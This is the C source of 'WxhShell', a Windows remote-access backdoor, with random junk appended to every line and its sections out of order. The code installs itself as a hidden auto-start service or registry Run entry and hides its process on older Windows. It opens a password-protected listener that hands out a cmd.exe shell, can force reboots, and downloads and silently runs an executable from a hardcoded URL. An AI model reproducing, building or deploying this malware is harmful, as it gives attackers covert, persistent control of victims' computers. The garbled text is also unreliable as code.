    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,$ L>  
    if(Boot(SHUTDOWN)) )%lPa|7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [V_Z9-f*  
    else { 4(>|f_$  
    closesocket(wsh); K^j7T[pR  
    ExitThread(0); \EF^Ag  
    } 4$ LVl  
    break; G9ku(2cq  
    } ca/AScL  
  // 获取shell BwwOaO@L  
  case 's': { SW|{)L,  
    CmdShell(wsh); 25%[nkO4  
    closesocket(wsh); [F4] pR(  
    ExitThread(0); fQcJyX  
    break; CAdqoCz|  
  } %"|I` m  
  // 退出 T9.3  
  case 'x': { $eUI.j(HU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $_NYu  
    CloseIt(wsh); T:&  
    break; {/SUfXq  
    } 5[3vu p?  
  // 离开 t'Zq>y;yg  
  case 'q': { +6tj w 6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^6R?UG;6  
    closesocket(wsh); ?-w<H!Y7  
    WSACleanup(); F}p)Q$0  
    exit(1); ? S^ U-.`  
    break; tQ=P.14>:  
        } P%M Yr"<$E  
  } JGl0 (i*|  
  } ha+)ZF  
W8{g<. /  
  // 提示信息 z\wY3pIr2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EM9K^l`  
} wp7<0PP  
  }  [@YeQ{  
Q!7il<S  
  return; A)"?GK{*  
} +?r,Nn  
PhTMXv<cE  
// shell模块句柄 J?VMQTa/+  
int CmdShell(SOCKET sock) /U\k<\1~m  
{ s`Z | A  
STARTUPINFO si; S"+X+Oxp7?  
ZeroMemory(&si,sizeof(si)); jroR 2*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0;9X`z J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vz'/]E  
PROCESS_INFORMATION ProcessInfo; XFJGL!wWm[  
char cmdline[]="cmd"; SB"Uu2)wZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LsB|}_j7  
  return 0; 8$)xxV_zp  
} ;7,>2VTm  
e$'|EE.=q+  
// 自身启动模式 |6@s6]%X}  
int StartFromService(void) g i>`  
{ (R^X3  
typedef struct  !4Q0   
{ kucH=96  
  DWORD ExitStatus; ;ED` 7  
  DWORD PebBaseAddress; })~M}d2LXB  
  DWORD AffinityMask; yR?S]   
  DWORD BasePriority; NVyel*QE  
  ULONG UniqueProcessId; v+\&8)W=  
  ULONG InheritedFromUniqueProcessId; ->"Z1  
}   PROCESS_BASIC_INFORMATION; `^_c&y K  
2z*EamF  
PROCNTQSIP NtQueryInformationProcess; #6okd*^  
B?M&j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +% E)]*Ym  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {v3?.a$ u  
'0ks`a4q  
  HANDLE             hProcess; hbfN1 "z  
  PROCESS_BASIC_INFORMATION pbi; Tfsx&k\  
K"fr4xHq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +UvT;"  
  if(NULL == hInst ) return 0; /:S&1'=  
2Kg-ZDK8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p;nRxi7'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o'Rr2,lVi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {N.J A=  
\3K%>   
  if (!NtQueryInformationProcess) return 0; ^:hI bF4G  
NgI n\) =0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xg <R+o  
  if(!hProcess) return 0; 7bk=D~/nSg  
.|?UqZ(,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W"3YA+qpI  
u7>{#]  
  CloseHandle(hProcess); k`aHG8S\  
#E`wqI\'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ec3TY<mVr  
if(hProcess==NULL) return 0; #!yW)RG  
;q5.\m:  
HMODULE hMod; pDYcsC{p  
char procName[255]; rf\/Y"D  
unsigned long cbNeeded; I \Luw*:  
.I h'&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n^[VN[ VC  
X}f u $2  
  CloseHandle(hProcess); :<QmG3F  
a8w/#!^34  
if(strstr(procName,"services")) return 1; // 以服务启动 "A9qC*6[  
Pl/}`H:R&  
  return 0; // 注册表启动 sa?Ul)L2  
} >U7{EfUJdx  
2=]Xe#5J=  
// 主模块 [H4)p ,R  
int StartWxhshell(LPSTR lpCmdLine) q$iGeE#  
{ tDWoQ&z2t_  
  SOCKET wsl; P >>VBh?  
BOOL val=TRUE; ;N(9nX}%)  
  int port=0; 7gnrLc$]O  
  struct sockaddr_in door; U*Sjb% Qb  
r)]8zK4;=  
  if(wscfg.ws_autoins) Install(); bI?uV;m>  
|~]@hs~  
port=atoi(lpCmdLine); jA' 7@/F/  
Od]B;&F  
if(port<=0) port=wscfg.ws_port; ]@P!Q&V #  
9]4W  
  WSADATA data; _Dq, \}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4Pv Pp{Y  
gcI?)F   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /:GeXDJw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jt?DogYx  
  door.sin_family = AF_INET; bmP2nD6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O[<YYL 0  
  door.sin_port = htons(port); Ne b")  
[sc4ULS &  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {kOTQG?y  
closesocket(wsl); *]K/8MbiF  
return 1; o=)["V  
} <FofRFaS  
;N?raz2mEi  
  if(listen(wsl,2) == INVALID_SOCKET) { @3v[L<S{  
closesocket(wsl); EvGKcu  
return 1; D/oO@;`'c  
} bAwFC2jO[  
  Wxhshell(wsl); }trQ<*D  
  WSACleanup();  k:i}xKu  
?#0m[k&`  
return 0; 0J z|BE3Y  
GOU>j "5}2  
} J#) %{k_  
X%R)  
// 以NT服务方式启动 U$m[{r2M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i5; _  
{ )YY8`\F>1  
DWORD   status = 0; \R|qXB $  
  DWORD   specificError = 0xfffffff; q /eod  
spG3"Eodi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MZWicfUy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c`s ]ciC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (yO8G-Z0  
  serviceStatus.dwWin32ExitCode     = 0; lU8X{SV!  
  serviceStatus.dwServiceSpecificExitCode = 0; N_o|2  
  serviceStatus.dwCheckPoint       = 0; u5I#5  
  serviceStatus.dwWaitHint       = 0; <(tnClAn  
@g%^H)T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1zGhX]z  
  if (hServiceStatusHandle==0) return; m#|h22^H  
/VHQ!Wi  
status = GetLastError(); &s~b1Va  
  if (status!=NO_ERROR) *z }<eq  
{ Xf6\{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #-7m@EU;O  
    serviceStatus.dwCheckPoint       = 0; b{(= C 3  
    serviceStatus.dwWaitHint       = 0; pT<}n 9yB5  
    serviceStatus.dwWin32ExitCode     = status; ,7os3~Mk9  
    serviceStatus.dwServiceSpecificExitCode = specificError; e\95X{_'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zW:r7 P.  
    return; +2JC**)I  
  } %(ms74R+  
KYM%U" jD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 20`QA u)'  
  serviceStatus.dwCheckPoint       = 0; Lgrpy  
  serviceStatus.dwWaitHint       = 0; a_(fqoW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k`=&m"&#  
} bZCNW$C3l  
ZRn!z`.0  
// 处理NT服务事件,比如:启动、停止 f5P@PG]{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9iM[3uyO  
{ jpt-5@5O  
switch(fdwControl) 9D{p^hd  
{ ;.I,R NM  
case SERVICE_CONTROL_STOP: lnWs cb3t  
  serviceStatus.dwWin32ExitCode = 0; 8c<OX!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a"!r]=r  
  serviceStatus.dwCheckPoint   = 0; +L-(Lz[p  
  serviceStatus.dwWaitHint     = 0; !)HB+yr  
  { 'tJ@+(tqw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EfM;'j[  
  } / TAza9a  
  return; }~!KjFbs  
case SERVICE_CONTROL_PAUSE: k.?@qCs[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rOTxD/  
  break; .mvpFdn  
case SERVICE_CONTROL_CONTINUE: EncJB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [?S-on.  
  break; T u7}*vsR  
case SERVICE_CONTROL_INTERROGATE: .q5WK#^  
  break; ueLdjASJ  
}; >vZ^D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KA{ JSi  
} u iR[V~  
zw}Wm4OH  
// 标准应用程序主函数 G~{#%i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SGUZ'}  
{ '"]QAj?N  
-m_H]<lWZ  
// 获取操作系统版本 8^5@J) R8  
OsIsNt=GetOsVer(); m:]60koz]o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dw3H9(-lp  
z c&i 4K  
  // 从命令行安装 u$ a7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ';KZ.D  
!Nx'4N`&l  
  // 下载执行文件 DlxL:  
if(wscfg.ws_downexe) { Ybp';8V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pe>[Ts`2F  
  WinExec(wscfg.ws_filenam,SW_HIDE); XG8UdR|  
} Z>_F:1x  
M&5De{LS}  
if(!OsIsNt) { {8w,{p`  
// 如果时win9x,隐藏进程并且设置为注册表启动 arb'.:[z^  
HideProc(); !b?`TUt   
StartWxhshell(lpCmdLine); gbT1d:T  
} e6 a]XO^  
else ]z"7v  
  if(StartFromService()) -jcgxQH53  
  // 以服务方式启动 FSHC\8siS  
  StartServiceCtrlDispatcher(DispatchTable); a n|bzG  
else qV:TuR-|w  
  // 普通方式启动 #iAw/a0&  
  StartWxhshell(lpCmdLine); 2}kJN8\F  
.M>g`UW  
return 0; RFT`r  
} N&]_U%#Q  
+J  <<me4  
;C~:C^Q\H  
MOIMW+n  
=========================================== _)-y&  
3?uah' D5  
O%m>4OdH  
3\H0Nkubts  
OHK]=DH:M  
Ry"N_Fb  
" 905Lk>rB  
>m4HCs>  
#include <stdio.h> l]F)]>AE  
#include <string.h> YTV|]xpR  
#include <windows.h> %%^by  
#include <winsock2.h> llRQxk  
#include <winsvc.h> \!s0H_RJY  
#include <urlmon.h> hg+0!DVx  
OJXK]dZ  
#pragma comment (lib, "Ws2_32.lib") ySNXjH Q=  
#pragma comment (lib, "urlmon.lib") cp L'  
]Aa.=  
#define MAX_USER   100 // 最大客户端连接数 w ?"s6L3  
#define BUF_SOCK   200 // sock buffer baz~luM  
#define KEY_BUFF   255 // 输入 buffer /tu\q  
{]3Rk  
#define REBOOT     0   // 重启 ~s -"u *>  
#define SHUTDOWN   1   // 关机 IpKpj"eoLy  
JXk<t5@D  
#define DEF_PORT   5000 // 监听端口 lvk r2Meu<  
fe+2U|y  
#define REG_LEN     16   // 注册表键长度 7R=A]@  
#define SVC_LEN     80   // NT服务名长度 ?f4jqF~Fh  
G\/7V L  
// 从dll定义API !z |a+{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k?qd -_sC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MznMt2-u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ghDOz 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ER)to<k  
>;Vy{bL8  
// wxhshell配置信息 0)E`6s#M  
struct WSCFG { Y<[jUe`O;  
  int ws_port;         // 监听端口 |$sMzPCxOk  
  char ws_passstr[REG_LEN]; // 口令 H@V+Q}  
  int ws_autoins;       // 安装标记, 1=yes 0=no T56%3i  
  char ws_regname[REG_LEN]; // 注册表键名 G*W54[  
  char ws_svcname[REG_LEN]; // 服务名 9s`j@B0N57  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *S] K@g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N)o/}@]6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qZ rv2dT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IT0 [;eqR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gu5%Pou  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Ep41v;T%`  
v)-:0 f  
}; 6/l{e)rX2o  
)~=g}&  
// default Wxhshell configuration N^xk.O_TO  
struct WSCFG wscfg={DEF_PORT, AlhPT (  
    "xuhuanlingzhe", } DQ KfS  
    1, P= nu&$;  
    "Wxhshell", ^^{7`X u  
    "Wxhshell", * $v`5rP  
            "WxhShell Service", tP0!TkTo9  
    "Wrsky Windows CmdShell Service", hp!. P1b  
    "Please Input Your Password: ", e2vL UlL8  
  1, @V71%D8{  
  "http://www.wrsky.com/wxhshell.exe", #/2W RN1L  
  "Wxhshell.exe" XS`=8FQ  
    }; 6}^6+@LG  
uH=^ILN.  
// 消息定义模块 ;SVAar4r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !1fAW! 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }8)iFP&"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +nm?+ F  
char *msg_ws_ext="\n\rExit."; >%Nqgn$V  
char *msg_ws_end="\n\rQuit."; khS >  
char *msg_ws_boot="\n\rReboot..."; boWaH}?0'  
char *msg_ws_poff="\n\rShutdown..."; ~pve;(e=  
char *msg_ws_down="\n\rSave to "; 5M mSQ_  
dBM> ;S;v  
char *msg_ws_err="\n\rErr!"; `cn}}1Lg]  
char *msg_ws_ok="\n\rOK!"; J>%uak<  
)R5=GHmL  
char ExeFile[MAX_PATH]; {>8u/  
int nUser = 0; L__J(6,V2  
HANDLE handles[MAX_USER]; Q|i`s=|  
int OsIsNt; O&ZVu>`g  
Yo a|.2f  
SERVICE_STATUS       serviceStatus; K f}h{X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jp viX#\S_  
*$EcP`K$  
// 函数声明 T<S_C$O  
int Install(void); X+;{&Efrl  
int Uninstall(void); ^rIe"Kx  
int DownloadFile(char *sURL, SOCKET wsh); w;8VD`>[|  
int Boot(int flag); M;zJ1  
void HideProc(void); ~Lf>/w  
int GetOsVer(void); 4Up \_  
int Wxhshell(SOCKET wsl); !Ng~;2GoA  
void TalkWithClient(void *cs); HYWKx><   
int CmdShell(SOCKET sock);  v+qHH8  
int StartFromService(void); g*[DyIm  
int StartWxhshell(LPSTR lpCmdLine); =b[q<p\  
?^3Q5ye  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3*;S%1C^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |8s45g>  
f<}>*xH/k  
// 数据结构和表定义 !K5D:x  
SERVICE_TABLE_ENTRY DispatchTable[] = i\94e{uty[  
{ &I=F4 z  
{wscfg.ws_svcname, NTServiceMain}, LG> lj$hO  
{NULL, NULL} -naoM  
}; 'Nn>W5#))  
n1 kh8,  
// 自我安装 YDo Vm?  
int Install(void) 0DgEOW9H  
{ OF/DI)j3  
  char svExeFile[MAX_PATH]; mjXO}q7  
  HKEY key; @>4=}z_e  
  strcpy(svExeFile,ExeFile); 8@Hl0{q  
M<VZISu)dy  
// 如果是win9x系统,修改注册表设为自启动 (J,^)!g7  
if(!OsIsNt) { ,!'L~{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iQj2aK Gs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [|E|(@J  
  RegCloseKey(key); =!Ce#p?h,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ITf, )?|]Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Cz uf   
  RegCloseKey(key); dlB?/J<  
  return 0; (cLcY%$  
    } kjOPsz*0  
  } fjwUh>[ }  
} h:l4:{A64  
else { TOvpv@?-  
DC6xet{  
// 如果是NT以上系统,安装为系统服务 >p,FAz>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W\l"_^d*  
if (schSCManager!=0) f )K(la^'  
{ Mw9;O6  
  SC_HANDLE schService = CreateService 5U5)$K'OA  
  ( t!JD]j>q  
  schSCManager, "{Jq6):mp  
  wscfg.ws_svcname, )mvD2]fK  
  wscfg.ws_svcdisp, Tyk\l>S  
  SERVICE_ALL_ACCESS, 8 DE%ot  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s%p,cz; ,  
  SERVICE_AUTO_START, Q\k|pg?  
  SERVICE_ERROR_NORMAL, p:@JCsH=  
  svExeFile, &ytnoj1L(  
  NULL, =%IBl]Z!"  
  NULL, >;M?f!  
  NULL, gHe%N? '  
  NULL, QGI_aU  
  NULL E,g5[s@  
  ); r"aJ&~8::W  
  if (schService!=0) \$%q< _l  
  { u/g4s (a  
  CloseServiceHandle(schService); }8,[B50  
  CloseServiceHandle(schSCManager); |E =8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +K"8Q'&t  
  strcat(svExeFile,wscfg.ws_svcname); LA%t'n h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i<uWLhgh1$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SB}0u=5  
  RegCloseKey(key);  q{*4BL'  
  return 0; +M %zOX/  
    } G" &yE.E5  
  } %\ef Mhn  
  CloseServiceHandle(schSCManager); ghu8Eg,Y  
} NP_b~e6O=  
} =n7 3bm  
etk@ j3#  
return 1; 0X'2d  
} O!=ae|  
'"QN{ja  
// 自我卸载  XBF]|}%  
int Uninstall(void) '}|sRuftb  
{ `PVr;&  
  HKEY key; {u4=*> ?G  
s)<^YASg  
if(!OsIsNt) { G<f"_NT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %@9pn1,  
  RegDeleteValue(key,wscfg.ws_regname); 3$Y(swc  
  RegCloseKey(key); ,j|9Bs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JVx ,1lth  
  RegDeleteValue(key,wscfg.ws_regname); C% )Xz  
  RegCloseKey(key); mx:)&1  
  return 0; B]-~hP  
  } S+7:fu2?+  
} Zz@0Oj!`  
} E"{2R>mU~  
else { f#3U,n8:  
`3KXWN`.s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ; M%n=+[O  
if (schSCManager!=0) tF@hH}{;  
{ fZ)M Dq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); se:lKZZ]  
  if (schService!=0) =|_{J"sv  
  { v2tKk^6`(i  
  if(DeleteService(schService)!=0) { f3u^:6U~  
  CloseServiceHandle(schService); M*x1{g C/  
  CloseServiceHandle(schSCManager); Ous_269cM  
  return 0; UNB'Xjp}@  
  } A,4|UA?-  
  CloseServiceHandle(schService); {vL4:K  
  } Ka$YKY,  
  CloseServiceHandle(schSCManager); [EX@I =?  
} b9(_bsc  
} q=H dGv  
9N kr=/I"P  
return 1; q\fZ Q  
} Vs0T*4C=n  
5u=(zg  
// 从指定url下载文件 :UrS@W^B  
int DownloadFile(char *sURL, SOCKET wsh) lNw8eT~2  
{ D:yj#&I  
  HRESULT hr; /y.+N`_  
char seps[]= "/"; OE4hG xG  
char *token; SK @%r  
char *file; 7@@,4_q E  
char myURL[MAX_PATH]; l(CMP!mY  
char myFILE[MAX_PATH]; wgeR%#DW  
qek[p_7  
strcpy(myURL,sURL); 4Sq[I  
  token=strtok(myURL,seps); & 1:_+  
  while(token!=NULL) $&!i3#FF  
  { :XP/`%:  
    file=token; M-Tjp'=*  
  token=strtok(NULL,seps); kkz{;OW  
  } `- \J/I  
!&k}YF  
GetCurrentDirectory(MAX_PATH,myFILE); nhm)P_p   
strcat(myFILE, "\\"); j m]d:=4_  
strcat(myFILE, file); y]veqa  
  send(wsh,myFILE,strlen(myFILE),0); 3wQUNv0z  
send(wsh,"...",3,0); 2{sx"/k\A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jBO/1h=  
  if(hr==S_OK) ,+gU^dc|hq  
return 0; D V  
else %FDv6peH  
return 1; N`JkEd7TT  
%%dQIlF  
} Id/-u[-yo  
s?irT;=  
// 系统电源模块 ky^p\dMh  
int Boot(int flag) g{_wMf  
{ ]&dU%9S  
  HANDLE hToken; (zO)J`z>  
  TOKEN_PRIVILEGES tkp; &`RD5uml  
Y$%z]i5   
  if(OsIsNt) { cen[|yCtOH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XmK2Xi;=b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bAsoIra  
    tkp.PrivilegeCount = 1; 4zRz U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %ZajM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {-T}"WHg7  
if(flag==REBOOT) { C`Oc%~UkC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '>wr _ f  
  return 0; R.FC3<TTv  
} }KBz8M5  
else { `}Of'i   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QQnpy.`:/  
  return 0; ^Pq4 n%x  
} f[AN=M"B"s  
  } nF Mc'm  
  else { d=q&% gqN  
if(flag==REBOOT) { M_+"RKp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {c;][>l  
  return 0; r? w^#V  
} N '8u}WO  
else { E=-ed9({:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cQ?eL,z  
  return 0; tTMYqg zUk  
} +4N7 _Y  
} mip2=7M|C  
$ e<108)]  
return 1; 6dCS Gb  
} /3VSO"kcZ  
mO6rj=L^  
// win9x进程隐藏模块 1^x "P#u  
void HideProc(void) #s\HiO$BT  
{ C3XB'CL6  
X#|B*t34  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7<T1#~w4L  
  if ( hKernel != NULL ) Q=,6W:j  
  { $y0[AB|V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k"kGQk4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,u:J"epM  
    FreeLibrary(hKernel); e6 R<V]g  
  } !>,\KxnM  
t+ ,'  
return; Qcy /)4Hfg  
} LkUYh3  
kXfTNMb  
// 获取操作系统版本 Q1A_hW2x  
int GetOsVer(void) Z4^O`yS9+  
{ E=H>|FgS  
  OSVERSIONINFO winfo; uX!5G:x]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Hli@:B2s  
  GetVersionEx(&winfo); J@Qt(rRxi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SWX[|sjdB  
  return 1; l8XgzaW  
  else va>u1S<lO  
  return 0; 6/%dD DU  
} [eWZ^Eh"I  
VIXY?Ua  
// 客户端句柄模块 e={X{5z0  
int Wxhshell(SOCKET wsl) xzZ2?z Wi  
{ e2~$=f-  
  SOCKET wsh; bvxol\7;  
  struct sockaddr_in client; @d+NeS  
  DWORD myID; X6hp}  
Skb d'j  
  while(nUser<MAX_USER) Ke*tLnO  
{ qM$4c7'4P6  
  int nSize=sizeof(client); zeHf(N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u n)YK  
  if(wsh==INVALID_SOCKET) return 1; 3>~W_c9@  
am'11a@*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TbUouoc  
if(handles[nUser]==0) .~nk' m  
  closesocket(wsh); XtJIaD|:3  
else t-gLh(-.  
  nUser++; yGxAur=dE  
  } (R9{wGV [  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kK,Ne%}a2K  
V!{}%;f  
  return 0; fj7\MTy  
} K+s@.D9J  
SU,#:s(  
// 关闭 socket ^n@dC?  
void CloseIt(SOCKET wsh) c\J?J>xz  
{ !Qqi%  
closesocket(wsh); eTeZ^G  
nUser--; +E7Os|m  
ExitThread(0); nT;Rwz$3  
} **D3.-0u&  
Az`c? W%  
// 客户端请求句柄 UdiogXZ  
void TalkWithClient(void *cs) M2$.Y om[  
{ \~(scz$  
mSg{0_:  
  SOCKET wsh=(SOCKET)cs; }Ai_peO0a  
  char pwd[SVC_LEN]; uZg[PS=@!X  
  char cmd[KEY_BUFF]; ~l^Q~W-+  
char chr[1]; mB.j?@Y%  
int i,j; :rBPgrt  
U5iyvU=UG  
  while (nUser < MAX_USER) { j_ \?ampF  
j& H4L  
if(wscfg.ws_passstr) { v!>(1ROQ.=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e}PJN6"5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SqF `xw  
  //ZeroMemory(pwd,KEY_BUFF); xpO'.xEs  
      i=0; TEzMFu+V  
  while(i<SVC_LEN) { 9sgyg3fv>5  
&(Yv&j X  
  // 设置超时 SyB2A\A  
  fd_set FdRead; Fad.!%[  
  struct timeval TimeOut; r*r3QsO  
  FD_ZERO(&FdRead); js$L<^7  
  FD_SET(wsh,&FdRead); _,ki/7{  
  TimeOut.tv_sec=8;  s-Z<  
  TimeOut.tv_usec=0; >,9ah"K_x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wDvG5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pz hPEp;  
>, 9R :X(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tQ@%3`  
  pwd=chr[0]; _oILZ,  
  if(chr[0]==0xd || chr[0]==0xa) { r'bPSu,  
  pwd=0; -5 Q gJ  
  break; B&M-em=  
  } Jn#05Z  
  i++; oOAn 5t@  
    } C3]"y7  
YAc~,N   
  // 如果是非法用户,关闭 socket R^ln-H;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DH>>u  
} t|5T,YFG  
%$*WdK#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }3TTtd7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $!ATj`}kb  
V?zCON  
while(1) { nj (\+l5  
C5F=J8pY  
  ZeroMemory(cmd,KEY_BUFF); )&") J}@  
jY+u OH  
      // 自动支持客户端 telnet标准   .,9e~6}  
  j=0; n | M~C\*  
  while(j<KEY_BUFF) { %0gcNk"=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }t FRl  
  cmd[j]=chr[0]; M}S1Zz%Ii1  
  if(chr[0]==0xa || chr[0]==0xd) { 7;i [  
  cmd[j]=0; dc+U #]tS  
  break; WSKubn?7B  
  } XH`W(  
  j++; zgnZ72%  
    } z|k0${iu#  
qj #C8Tc7  
  // 下载文件 z*w.A=r  
  if(strstr(cmd,"http://")) { _X6@.sM/2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TS Ev^u)3  
  if(DownloadFile(cmd,wsh)) >* )fmfY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN!lXPgM  
  else ZYexW=@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GL^84[f-T  
  } 0|=,!sY  
  else { e a3f`z  
2gM/".|{  
    switch(cmd[0]) { QSNPraT  
  v(`9+*  
  // 帮助 1Uaj}= @M  
  case '?': { sq45fRAi  
